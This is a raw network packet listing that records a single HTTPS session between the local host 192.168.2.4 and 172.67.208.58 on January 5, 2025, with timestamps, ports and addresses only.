Jan 5, 2025 19:50:26.359680891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.359688044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.409466028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.435635090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.435715914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.435744047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.435761929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.435770988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.435806990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.435812950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.436273098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.436305046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.436314106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.436320066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.436357021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.436358929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.436368942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.436410904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.437002897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.437073946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.437105894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.437114954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.437122107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.437161922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.438024044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.438076019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.438108921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.438112020 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.438117981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.438169956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.438177109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.438705921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.438735008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.438735962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.438745022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.438777924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.438782930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.478771925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.478832006 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.478840113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.518876076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.522476912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.522680998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.522715092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.522721052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.522728920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.522763968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.522769928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.522977114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.523017883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.523024082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.523062944 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.523655891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.523691893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.523696899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.523703098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.523722887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.524097919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.524132013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.524137974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.524143934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.524179935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.525070906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.525110006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.525118113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.525124073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.525145054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.525151968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.525190115 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.525193930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.525229931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.526192904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.526231050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.526233912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.526241064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.526268005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.526283026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.526287079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.526293993 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.526328087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.526851892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.526894093 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.526900053 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.526906013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.526936054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.581346035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.609386921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.609425068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.609472036 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.609479904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.609538078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.609539032 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.609551907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.609579086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.609596968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.609646082 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.609652996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.609694958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.610500097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.610594034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.610599995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.610605001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.610622883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.610644102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.610651016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.610662937 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.611474037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.611509085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.611526012 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.611535072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.611558914 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.611567974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.611608982 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.611615896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.611751080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.612551928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.612586021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.612615108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.612626076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.612637997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.612708092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.613471031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.613507032 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.613527060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.613534927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.613547087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.613548040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.613576889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.613581896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.613595009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.614315033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.614378929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.614384890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.614396095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.614428043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.614439964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.614445925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.614470005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.614495993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.615386963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.615417004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.615433931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.615441084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.615463018 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.615483046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.616436005 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.616463900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.616487026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.616492987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.616503954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.616523981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.616544962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.616549015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.617216110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.617254972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.617280960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.617290974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.617300987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.617362976 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.617362976 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.617372990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.617425919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.618057966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.618110895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.619543076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.696279049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.696326971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.696333885 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.696341991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.696369886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.696713924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.696733952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.696763039 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.696769953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.696784973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.697045088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.697060108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.697097063 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.697107077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.697124958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.697573900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.697587967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.697623968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.697629929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.697640896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.701268911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.701282978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.701320887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.701328039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.701353073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.701700926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.701714039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.701751947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.701757908 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.701788902 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.702195883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.702214003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.702250004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.702256918 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.702286959 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.739741087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.739757061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.739789963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.739799023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.739809036 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.783224106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783237934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783315897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.783323050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783540964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783555031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783576012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783612967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.783617973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783633947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.783807039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783822060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783850908 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.783858061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.783884048 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.784086943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784102917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784132957 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.784138918 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784161091 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.784514904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784529924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784579992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.784593105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784809113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784822941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784852028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.784858942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.784881115 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.785096884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.785111904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.785147905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.785156012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.785166979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.826638937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.826652050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.826715946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.826725006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.826757908 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.870170116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.870187998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.870260000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.870277882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.870428085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.870461941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.870472908 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.870481968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.870487928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.870496988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.870503902 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.870520115 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.871081114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871094942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871129990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.871139050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871162891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.871598959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871613026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871644974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.871653080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871685028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.871897936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871912003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871946096 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.871953011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.871975899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.872186899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.872199059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.872231007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.872236967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.872248888 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.872437954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.872451067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.872488022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.872495890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.872505903 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.886619091 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.913528919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.913546085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.913616896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.913625002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.956357002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.957103968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.957122087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.957164049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.957173109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.957206011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.957215071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.957565069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.957578897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.957622051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.957628012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.957736015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.958201885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.958216906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.958267927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.958275080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.958331108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.958606958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.958621025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.958668947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.958676100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.958904028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.959048033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959062099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959098101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.959103107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959129095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.959146976 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.959227085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959242105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959294081 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.959299088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959350109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.959567070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959582090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959625959 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.959635019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:26.959665060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.959665060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:26.966743946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.000334978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.000349045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.000384092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.000391006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.000423908 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.000436068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.043986082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.044001102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.044060946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.044068098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.044121027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.044233084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.044259071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.044291973 CET	49746	443	192.168.2.4	172.67.208.58
